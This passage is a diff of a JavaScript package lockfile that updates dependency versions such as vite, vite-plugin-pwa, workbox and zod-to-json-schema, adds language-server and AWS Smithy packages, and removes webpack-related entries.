- "vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "tsx"], "bin": "bin/vite.js" }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="],
+ "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="],
"vite-plugin-compression2": ["vite-plugin-compression2@2.2.1", "", { "dependencies": { "@rollup/pluginutils": "^5.1.0", "tar-mini": "^0.2.0" } }, "sha512-LMDkgheJaFBmb8cB8ymgUpXHXnd3m4kmjEInvp59fOZMSaT/9oDUtqpO0ihr4ExGsnWfYcRe13/TNN3BEk2t/g=="],
- "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.23.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.2.0" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" } }, "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w=="],
+ "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.25.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.3.1" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg=="],
- "vite-plugin-pwa": ["vite-plugin-pwa@0.21.2", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^0.2.6", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg=="],
+ "vite-plugin-pwa": ["vite-plugin-pwa@1.2.0", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.4.0", "workbox-window": "^7.4.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^1.0.0", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw=="],
"vm-browserify": ["vm-browserify@1.1.2", "", {}, "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="],
"void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="],
+ "vscode-jsonrpc": ["vscode-jsonrpc@8.2.0", "", {}, "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA=="],
+
+ "vscode-languageserver": ["vscode-languageserver@9.0.1", "", { "dependencies": { "vscode-languageserver-protocol": "3.17.5" }, "bin": { "installServerIntoExtension": "bin/installServerIntoExtension" } }, "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g=="],
+
+ "vscode-languageserver-protocol": ["vscode-languageserver-protocol@3.17.5", "", { "dependencies": { "vscode-jsonrpc": "8.2.0", "vscode-languageserver-types": "3.17.5" } }, "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg=="],
+
+ "vscode-languageserver-textdocument": ["vscode-languageserver-textdocument@1.0.12", "", {}, "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA=="],
+
+ "vscode-languageserver-types": ["vscode-languageserver-types@3.17.5", "", {}, "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg=="],
+
+ "vscode-uri": ["vscode-uri@3.1.0", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
+
"w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="],
"w3c-xmlserializer": ["w3c-xmlserializer@5.0.0", "", { "dependencies": { "xml-name-validator": "^5.0.0" } }, "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA=="],
"walker": ["walker@1.0.8", "", { "dependencies": { "makeerror": "1.0.12" } }, "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ=="],
- "watchpack": ["watchpack@2.4.2", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw=="],
-
"web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="],
"web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="],
"webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="],
- "webpack": ["webpack@5.94.0", "", { "dependencies": { "@types/estree": "^1.0.5", "@webassemblyjs/ast": "^1.12.1", "@webassemblyjs/wasm-edit": "^1.12.1", "@webassemblyjs/wasm-parser": "^1.12.1", "acorn": "^8.7.1", "acorn-import-attributes": "^1.9.5", "browserslist": "^4.21.10", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.17.1", "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^3.2.0", "tapable": "^2.1.1", "terser-webpack-plugin": "^5.3.10", "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": "bin/webpack.js" }, "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg=="],
-
- "webpack-sources": ["webpack-sources@3.2.3", "", {}, "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="],
-
"websocket-driver": ["websocket-driver@0.7.4", "", { "dependencies": { "http-parser-js": ">=0.5.1", "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg=="],
"websocket-extensions": ["websocket-extensions@0.1.4", "", {}, "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="],
@@ -4595,37 +4887,37 @@
"wordwrap": ["wordwrap@1.0.0", "", {}, "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="],
- "workbox-background-sync": ["workbox-background-sync@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg=="],
+ "workbox-background-sync": ["workbox-background-sync@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w=="],
- "workbox-broadcast-update": ["workbox-broadcast-update@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA=="],
+ "workbox-broadcast-update": ["workbox-broadcast-update@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA=="],
- "workbox-build": ["workbox-build@7.3.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^7.1.6", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.43.1", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.3.0", "workbox-broadcast-update": "7.3.0", "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-google-analytics": "7.3.0", "workbox-navigation-preload": "7.3.0", "workbox-precaching": "7.3.0", "workbox-range-requests": "7.3.0", "workbox-recipes": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0", "workbox-streams": "7.3.0", "workbox-sw": "7.3.0", "workbox-window": "7.3.0" } }, "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ=="],
+ "workbox-build": ["workbox-build@7.4.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^11.0.1", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.79.2", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.4.0", "workbox-broadcast-update": "7.4.0", "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-google-analytics": "7.4.0", "workbox-navigation-preload": "7.4.0", "workbox-precaching": "7.4.0", "workbox-range-requests": "7.4.0", "workbox-recipes": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0", "workbox-streams": "7.4.0", "workbox-sw": "7.4.0", "workbox-window": "7.4.0" } }, "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA=="],
- "workbox-cacheable-response": ["workbox-cacheable-response@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA=="],
+ "workbox-cacheable-response": ["workbox-cacheable-response@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ=="],
- "workbox-core": ["workbox-core@7.3.0", "", {}, "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw=="],
+ "workbox-core": ["workbox-core@7.4.0", "", {}, "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ=="],
- "workbox-expiration": ["workbox-expiration@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ=="],
+ "workbox-expiration": ["workbox-expiration@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw=="],
- "workbox-google-analytics": ["workbox-google-analytics@7.3.0", "", { "dependencies": { "workbox-background-sync": "7.3.0", "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg=="],
+ "workbox-google-analytics": ["workbox-google-analytics@7.4.0", "", { "dependencies": { "workbox-background-sync": "7.4.0", "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ=="],
- "workbox-navigation-preload": ["workbox-navigation-preload@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg=="],
+ "workbox-navigation-preload": ["workbox-navigation-preload@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w=="],
- "workbox-precaching": ["workbox-precaching@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw=="],
+ "workbox-precaching": ["workbox-precaching@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg=="],
- "workbox-range-requests": ["workbox-range-requests@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ=="],
+ "workbox-range-requests": ["workbox-range-requests@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw=="],
- "workbox-recipes": ["workbox-recipes@7.3.0", "", { "dependencies": { "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-precaching": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg=="],
+ "workbox-recipes": ["workbox-recipes@7.4.0", "", { "dependencies": { "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-precaching": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ=="],
- "workbox-routing": ["workbox-routing@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A=="],
+ "workbox-routing": ["workbox-routing@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ=="],
- "workbox-strategies": ["workbox-strategies@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg=="],
+ "workbox-strategies": ["workbox-strategies@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg=="],
- "workbox-streams": ["workbox-streams@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0" } }, "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw=="],
+ "workbox-streams": ["workbox-streams@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0" } }, "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg=="],
- "workbox-sw": ["workbox-sw@7.3.0", "", {}, "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA=="],
+ "workbox-sw": ["workbox-sw@7.4.0", "", {}, "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw=="],
- "workbox-window": ["workbox-window@7.3.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.3.0" } }, "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA=="],
+ "workbox-window": ["workbox-window@7.4.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.4.0" } }, "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw=="],
"wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="],
@@ -4637,6 +4929,8 @@
"ws": ["ws@8.18.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw=="],
+ "xlsx": ["xlsx@https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", { "bin": { "xlsx": "./bin/xlsx.njs" } }],
+
"xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="],
"xml-crypto": ["xml-crypto@6.1.2", "", { "dependencies": { "@xmldom/is-dom-node": "^1.0.1", "@xmldom/xmldom": "^0.8.10", "xpath": "^0.0.33" } }, "sha512-leBOVQdVi8FvPJrMYoum7Ici9qyxfE4kVi+AkpUoYCSXaQF4IlBm1cneTK9oAxR61LpYxTx7lNcsnBIeRpGW2w=="],
@@ -4647,7 +4941,7 @@
"xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="],
- "xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
+ "xmlbuilder": ["xmlbuilder@10.1.1", "", {}, "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg=="],
"xmlchars": ["xmlchars@2.2.0", "", {}, "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="],
@@ -4671,11 +4965,9 @@
"yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
- "youtube-transcript": ["youtube-transcript@1.2.1", "", {}, "sha512-TvEGkBaajKw+B6y91ziLuBLsa5cawgowou+Bk0ciGpjELDfAzSzTGXaZmeSSkUeknCPpEr/WGApOHDwV7V+Y9Q=="],
-
"zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="],
- "zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
+ "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="],
"zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="],
@@ -4735,6 +5027,12 @@
"@aws-sdk/client-bedrock-agent-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="],
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="],
+
+ "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="],
+
"@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="],
